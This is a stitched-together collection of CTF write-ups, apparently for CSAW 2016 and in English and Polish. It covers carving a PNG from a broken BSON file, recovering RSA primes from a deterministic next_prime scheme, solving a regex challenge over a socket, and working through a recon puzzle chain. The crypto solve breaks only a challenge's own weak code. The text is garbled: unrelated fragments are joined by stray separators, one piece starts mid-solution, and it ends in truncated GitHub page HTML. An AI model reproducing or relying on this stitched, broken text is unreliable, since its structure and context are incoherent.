Taking a step back, we've decided to convert the file to a standard JSON structured file using a python script.The file itself was broken and the parser would not work on it.We used a debugger to see how the library is parsing bson files and we noticed that it first tries to read 4 big endian byte number as record length.In our case there was only a single `0x0` byte instead.Therefore we checked how long is a single record (`0x72` bytes) and then attached the missing 3 bytes in the beginning of data so that the data starts with `0x72 0x00 0x00 0x00` (big endian!).With this we could make a script to dump all the data:
``` python
import base64import codecsimport bson
with codecs.open("./One_Bad_Son", "rb") as input_file: data = input_file.read() data = '\x72\x00\x00' + data loaded = bson.decode_all(data) with codecs.open("out.txt", "w") as output_file: output_file.write("[\n") for d in loaded: output_file.write(repr(d)+"\n") output_file.write("]\n")```
This is how a single row looked like:
`{u'raw': 100000000000000L, u'len': 2, u'dat': u'iVA=', u'crc': u'c0f36009', u'fname': u'flag', u'mtime': datetime.datetime(48652, 6, 24, 12, 40, 10, 460000), u'_id': u'0262404638'}`
In reality we could have just as well written a parser `by hand`, since the structure was rather clear, but it turned out to be faster this way.
What's interesting now, is that the base64 decoded `dat` data from first 2 rows (when data sorted by `raw` field) creates `PNG` string, so there's a png image encoded in that json!
However some values from the `raw` field are duplicated so we had to make sure we use each chunk only once.
We wrote a script to decode all unique `flag` rows sorted by their `raw` field:
``` pythonused_id = set()ordered = sorted(loaded, key=lambda di: int(di['raw']))
flag_data = []for d in ordered: id = d['raw'] if id not in used_id and d['fname'] == 'flag': base = d['dat'] decoded = base64.b64decode(base) flag_data.append(decoded) used_id.add(id)with codecs.open("out.png", "wb") as output_file: output_file.write("".join(flag_data))```
And the output is:

|
## RSA (Crypto, 113p)
###ENG[PL](#pl-version)
In the task we get source code of encryption routine, a public key and encrypted flag.The source code is quite simple:
```pythonimport gmpyfrom Crypto.Util.number import *from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5
flag = open('flag', 'r').read() * 30
def ext_rsa_encrypt(p, q, e, msg): m = bytes_to_long(msg) while True: n = p * q try: phi = (p - 1)*(q - 1) d = gmpy.invert(e, phi) pubkey = RSA.construct((long(n), long(e))) key = PKCS1_v1_5.new(pubkey) enc = key.encrypt(msg).encode('base64') return enc except: p = gmpy.next_prime(p**2 + q**2) q = gmpy.next_prime(2*p*q) e = gmpy.next_prime(e**2)
p = getPrime(128)q = getPrime(128)n = p*qe = getPrime(64)pubkey = RSA.construct((long(n), long(e)))f = open('pubkey.pem', 'w')f.write(pubkey.exportKey())g = open('flag.enc', 'w')g.write(ext_rsa_encrypt(p, q, e, flag))```
Initially the algorithm generates a very small 128 bit primes and constructs modulus from them.This is the modulus value from the public key we get.However the algoritm is not using this small value for encryption since the data are too long - it uses `gmpy.next_prime()` to get bigger prime numbers. The problem is that `next_prime` is deterministic so if we can get the initial `p` and `q` values we can simply perform the same kind of iteration to get the `p` and `q` used for encrypting the flag.
Since the initial modulus is just 256 bit we can factor it with YAFU to get the initial primes.We then simply perform the same loop to get final primes, we use modinv to get decryption exponent and then simply decrypt the flag:
```pythonimport base64import codecsimport gmpyimport mathfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5
n = 98099407767975360290660227117126057014537157468191654426411230468489043009977p = 311155972145869391293781528370734636009 # from YAFUq = 315274063651866931016337573625089033553e = 12405943493775545863
def long_to_bytes(flag): return "".join([chr(int(flag[i:i + 2], 16)) for i in range(0, len(flag), 2)])
def bytes_to_long(str): return int(str.encode('hex'), 16)
with codecs.open("./flag.enc") as flag: data = flag.read() msg = base64.b64decode(data) print('msg', math.log(bytes_to_long(msg), 2)) while True: print("looping") try: print('p*q', math.log(long(p), 2)+math.log(long(q), 2)) phi = (p - 1) * (q - 1) d = gmpy.invert(e, phi) key = RSA.construct((long(n), long(e), long(d))) algo = PKCS1_v1_5.new(key) decrypted = algo.decrypt(msg, 0x64) print(decrypted) print(p, q, e) print(long_to_bytes(decrypted)) except Exception as ex: print(ex) p = gmpy.next_prime(p ** 2 + q ** 2) q = gmpy.next_prime(2 * p * q) e = gmpy.next_prime(e ** 2) n = long(p)*long(q)```
###PL version
W zadaniu dostajemy kod źródłowy szyfrowania, klucz publiczny oraz zaszyfrowaną flagę.Kod jest dość prosty:
```pythonimport gmpyfrom Crypto.Util.number import *from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5
flag = open('flag', 'r').read() * 30
def ext_rsa_encrypt(p, q, e, msg): m = bytes_to_long(msg) while True: n = p * q try: phi = (p - 1)*(q - 1) d = gmpy.invert(e, phi) pubkey = RSA.construct((long(n), long(e))) key = PKCS1_v1_5.new(pubkey) enc = key.encrypt(msg).encode('base64') return enc except: p = gmpy.next_prime(p**2 + q**2) q = gmpy.next_prime(2*p*q) e = gmpy.next_prime(e**2)
p = getPrime(128)q = getPrime(128)n = p*qe = getPrime(64)pubkey = RSA.construct((long(n), long(e)))f = open('pubkey.pem', 'w')f.write(pubkey.exportKey())g = open('flag.enc', 'w')g.write(ext_rsa_encrypt(p, q, e, flag))```
Początkowo algorytm generuje bardzo małe 128 bitowe liczby pierwsze i buduje z nich modulusa.To jest wartość modulusa w kluczu publicznym, który dostajemy.Niemniej jednak algorytm nie używa tych małych liczb do szyfrowania ponieważ liczba danych jest za duża - zamiast tego używa `gmpy.next_prime()` żeby znaleźć większe liczby pierwze.Problem z tym rozwiązaniem polega na tym, że `next_prime` jest deterministyczne więc jeśli znamy początkowe wartości `p` oraz `q` możemy wykonać taką samą iteracje i wyzaczyć finalne `p` oraz `q` użyte do szyfrowania flagi.
Ponieważ znany modulus ma tylko 256 bitów możemy go faktoryzować za pomocą YAFU aby dostać początkowe wartości liczb pierwszyh.Następnie po prostu wykonujemy identyczną pętlę jak w kodzie z zadania aby wyznaczyć finalne wartości liczb pierwszych, używamy modinv żeby wyliczyć wykładnik deszyfrujący a następnie dekodujemy flagę:
```pythonimport base64import codecsimport gmpyimport mathfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5
n = 98099407767975360290660227117126057014537157468191654426411230468489043009977p = 311155972145869391293781528370734636009 # from YAFUq = 315274063651866931016337573625089033553e = 12405943493775545863
def long_to_bytes(flag): return "".join([chr(int(flag[i:i + 2], 16)) for i in range(0, len(flag), 2)])
def bytes_to_long(str): return int(str.encode('hex'), 16)
with codecs.open("./flag.enc") as flag: data = flag.read() msg = base64.b64decode(data) print('msg', math.log(bytes_to_long(msg), 2)) while True: print("looping") try: print('p*q', math.log(long(p), 2)+math.log(long(q), 2)) phi = (p - 1) * (q - 1) d = gmpy.invert(e, phi) key = RSA.construct((long(n), long(e), long(d))) algo = PKCS1_v1_5.new(key) decrypted = algo.decrypt(msg, 0x64) print(decrypted) print(p, q, e) print(long_to_bytes(decrypted)) except Exception as ex: print(ex) p = gmpy.next_prime(p ** 2 + q ** 2) q = gmpy.next_prime(2 * p * q) e = gmpy.next_prime(e ** 2) n = long(p)*long(q)``` |
The airline name is "QATARAIRWAYS". The first letters of the films names are "CTXSTDZAO_OK" (I don't know from what film "Olympic games" came).If we sum the two strings char-by-char (and add 1?) we get "TURTLEISL_ND". It looks like a flag (we haven't confirmed it) |
## Regexpire (Misc/PPC, 100p)
###ENG[PL](#pl-version)
Task almost identical to https://github.com/p4-team/ctf/tree/master/2016-06-04-backdoor-ctf/ppc_isolve so we solved it pretty much the same way - with simplified xeger:
```pythonimport socketfrom rstr import xeger
def recvuntil(s, tails): data = "" while True: for tail in tails: if tail in data: return data data += s.recv(1)
def main(): url = "misc.chal.csaw.io" port = 8001 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) task1 = recvuntil(s, "\n") print(task1) while True: task2 = recvuntil(s, "\n") print(task2) to_solve = task2[:-1] if len(to_solve) != 0: print("to solve = '%s'" % to_solve) solution = xeger(to_solve) print("solution = %s" % solution) s.sendall(solution + "\n")main()```
With modifications to:
```python
ALPHABETS = {'printable': ['a'], 'letters': ['a'], 'uppercase': ['A'], 'lowercase': ['a'], 'digits': ['1'], 'punctuation': [','], 'nondigits': ['a'], 'nonletters': ['1'], 'whitespace': [' '], 'nonwhitespace': ['a'], 'normal': ['a'], 'word': ['a'], 'nonword': ['#'], 'postalsafe': string.ascii_letters + string.digits + ' .-#/', 'urlsafe': string.ascii_letters + string.digits + '-._~', 'domainsafe': string.ascii_letters + string.digits + '-' }```
because the server did not handle everything.
`flag{^regularly_express_yourself$}`
###PL version
Zadanie prawie identyczne jak https://github.com/p4-team/ctf/tree/master/2016-06-04-backdoor-ctf/ppc_isolve więc rozwiązaliśmy je tak samo, zmodyfikowanym xegerem:
```pythonimport socketfrom rstr import xeger
def recvuntil(s, tails): data = "" while True: for tail in tails: if tail in data: return data data += s.recv(1)
def main(): url = "misc.chal.csaw.io" port = 8001 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) task1 = recvuntil(s, "\n") print(task1) while True: task2 = recvuntil(s, "\n") print(task2) to_solve = task2[:-1] if len(to_solve) != 0: print("to solve = '%s'" % to_solve) solution = xeger(to_solve) print("solution = %s" % solution) s.sendall(solution + "\n")main()```
Z modyfikacją dla:
```pythonALPHABETS = {'printable': ['a'], 'letters': ['a'], 'uppercase': ['A'], 'lowercase': ['a'], 'digits': ['1'], 'punctuation': [','], 'nondigits': ['a'], 'nonletters': ['1'], 'whitespace': [' '], 'nonwhitespace': ['a'], 'normal': ['a'], 'word': ['a'], 'nonword': ['#'], 'postalsafe': string.ascii_letters + string.digits + ' .-#/', 'urlsafe': string.ascii_letters + string.digits + '-._~', 'domainsafe': string.ascii_letters + string.digits + '-' }```
Bo serwer nie wszystko dobrze parsował.
`flag{^regularly_express_yourself$}` |
## Fuzyll (Recon, 200p)
###ENG[PL](#pl-version)
In the task we start off on page http://fuzyll.com/files/csaw2016/start to get a riddle:
```CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next part is at /csaw2016/<the form of colorblindness I have>.```
We could check the author twitter and reddit where he writes a bit about which colors he can't see, or we could brute-force this, either way the answer is `deuteranomaly`, and we get to next level.We get a [picture](deuteranomaly.png) and if we look inside with hexeditor we can see another riddle:
```CSAW 2016 FUZYLL RECON PART 2 OF ?: No, strawberries don't look exactly like this, but it's reasonably close. You know what else I can't see well? /csaw2016/<the first defcon finals challenge i ever scored points```
We check on author blog and other sources to see which defcons should be consider and there brute-force the task name (good thing Fuzyll actually has nice listings on his github for all Defonc challenge names!), and we get the name `tomato`.
This leads to another [file](tomato.bin) which we guess to be `ebdic` encoded, and from it we extract new riddle:
```CSAW 2016 FUZYLL RECON PART 3 of ?: I don't even like tomatoes] Anyway, outside of CTFs, I've been playing a fair amount of World of WarCraft over the past year (never thought I'd be saying that after Cataclysm, but here we are). The next part is at /csaw2016/<my main WoW character's name>.```
Quick googling to find Fuzyll's account on some WoW site and we get the name `elmrik`, and we get some custom-made ruby encryption:
```ruby#!/usr/bin/env ruby
CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"]
def encode(string) input = string.bytes.inject {|x, y| (x << 8) + y } output = "" while input > 0 output = CHARS[input % 52].to_s + output input /= 52 end return outputend
def decode(input) # your implementation hereend
message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z"puts decode(message)```
We first rewrote this code into Python and then prepared decryption code:
```pythonmessage = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z"CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"]
def encrypt(input_data): orded = [ord(c) for c in input_data] print(orded) number = reduce(lambda x, y: (x << 8) + y, orded) output = "" while number > 0: output = CHARS[number % 52] + output number /= 52 return output
def decrypt(input_data): number = 0 for c in input_data: number *= 52 number_mod = CHARS.index(c) number += number_mod initial = [] while number > 127: y = number & 127 print(y) initial.insert(0, y) number -= y number >>= 8 initial.insert(0, number) return "".join([chr(c) for c in initial])
print(decrypt(message))```
As a result we get:
```CSAW 2016 FUZYLL RECON PART 4 OF ?: In addition to WoW raiding, I've also been playing a bunch of Smash Bros. This year, I competed in my first major tournament! I got wrecked in every event I competed in, but I still had fun being in the crowd. This tournament in particular had a number of upsets (including Ally being knocked into losers of my Smash 4 pool). On stream, after one of these big upsets in Smash 4, you can see me in the crowd with a shirt displaying my main character! The next part is at /csaw2016/<the winning player's tag>.```
This was by far the hardest part!Since we were too lazy to watch some random streams, we used a brute-force approach.First we pinpointed a tournaments where Ally went into losers and then we checked if Fuzyll was on players list.This lead to CEO 2016 tournament.Then we simply scrapped all players form the tournament webpage and wrote a script to brute-force check all 1000 player names.It turned out to be `jade` so we got the next [file](jade.jpg) with a riddle.We extract the riddle agian with hexeditor:
```CSAW 2016 FUZYLL RECON PART 5 OF 6: I haven't spent the entire year playing video games, though. This past March, I spent time completely away from computers in Peru. This shot is from one of the more memorable stops along my hike to Machu Picchu. To make things easier on you, use only ASCII: /csaw2016/<the name of these ruins>```
A bit of googling and reverse image search gives us the name `Winay Wayna` and the page gives us the flag: `flag{WH4T_4_L0NG_4ND_STR4NG3_TRIP_IT_H45_B33N}`
###PL version
Zadanie zaczynamy na stronie http://fuzyll.com/files/csaw2016/start żeby dostać zagadkę:
```CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next part is at /csaw2016/<the form of colorblindness I have>.```
Można poczytać twittera autora oraz jego komentarze na reddicie gdzie wspomina o tym których kolorów nie widzi, lub zwyczajnie tesutjemy wszystkie możliwości, tak czy siak odpowiedź to `deuteranomaly` i rozpoczynami kolejny poziom.Dostajemy [obrazek](deuteranomaly.png) i jeśli popatrzymy do środka hexedytorem widzimy nową zagadkę:
```CSAW 2016 FUZYLL RECON PART 2 OF ?: No, strawberries don't look exactly like this, but it's reasonably close. You know what else I can't see well? /csaw2016/<the first defcon finals challenge i ever scored points```
Po sprawdzeniu bloga autora i kilku innych źródeł wiemy które defcony można brać pod uwagę a następnie za pomocą brute-force testujemy nazwy zadań (Fuzyll na swoim githubie ma listę wszystkich defonowych zadań!) i dostajemy odpowiedź `tomato`.
To prowadzi do kolejnego [pliku](tomato.bin) o którym zgadujemy że jest kodowany jako `ebdic` i wyciągamy z niego nową zagadke:
```CSAW 2016 FUZYLL RECON PART 3 of ?: I don't even like tomatoes] Anyway, outside of CTFs, I've been playing a fair amount of World of WarCraft over the past year (never thought I'd be saying that after Cataclysm, but here we are). The next part is at /csaw2016/<my main WoW character's name>.```
Szybki rzut oka w google szukając konta Fuzyll na stronach dotyczących WoWa i dostajemy nazę `elmrik` i dostajemy zaszyfrowaną zagadkę:
```ruby#!/usr/bin/env ruby
CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"]
def encode(string) input = string.bytes.inject {|x, y| (x << 8) + y } output = "" while input > 0 output = CHARS[input % 52].to_s + output input /= 52 end return outputend
def decode(input) # your implementation hereend
message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z"puts decode(message)```
Najpierw przepisalismy kod do pythona a następnie przygotowaliśmy kod deszyfrujący:
```pythonmessage = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z"CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"]
def encrypt(input_data): orded = [ord(c) for c in input_data] print(orded) number = reduce(lambda x, y: (x << 8) + y, orded) output = "" while number > 0: output = CHARS[number % 52] + output number /= 52 return output
def decrypt(input_data): number = 0 for c in input_data: number *= 52 number_mod = CHARS.index(c) number += number_mod initial = [] while number > 127: y = number & 127 print(y) initial.insert(0, y) number -= y number >>= 8 initial.insert(0, number) return "".join([chr(c) for c in initial])
print(decrypt(message))```
W wyniku dostajemy:
```CSAW 2016 FUZYLL RECON PART 4 OF ?: In addition to WoW raiding, I've also been playing a bunch of Smash Bros. This year, I competed in my first major tournament! I got wrecked in every event I competed in, but I still had fun being in the crowd. This tournament in particular had a number of upsets (including Ally being knocked into losers of my Smash 4 pool). On stream, after one of these big upsets in Smash 4, you can see me in the crowd with a shirt displaying my main character! The next part is at /csaw2016/<the winning player's tag>.```
To była najtrudniejsza część!Jesteśmy zbyt leniwi żeby oglądać jakieś streamy, więc stosujemy podejście brute-force.Najpierw odszukaliśmy tegoroczne zawody gdzie Ally wypadł do drabinki przegranych a potem sprawdziliśmy gdzie grał Fuzyll.W ten sposób trafilismy na CEO 2016.Następnie po prostu pobraliśmy listę wszystkich graczy ze strony zawodów i napisaliśmy skrypt który sprawdził każdego z 1000 graczy.Graczem okazał sie `jade` a my dostaliśmy nowy [plik](jade.jpg) z zagadką.Zagadkę wyciągamy znów hexedytorem:
```CSAW 2016 FUZYLL RECON PART 5 OF 6: I haven't spent the entire year playing video games, though. This past March, I spent time completely away from computers in Peru. This shot is from one of the more memorable stops along my hike to Machu Picchu. To make things easier on you, use only ASCII: /csaw2016/<the name of these ruins>```
Chwila googlowania i reverse image search daje name nazwe `Winay Wayna` a strona daje flagę: `flag{WH4T_4_L0NG_4ND_STR4NG3_TRIP_IT_H45_B33N}` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 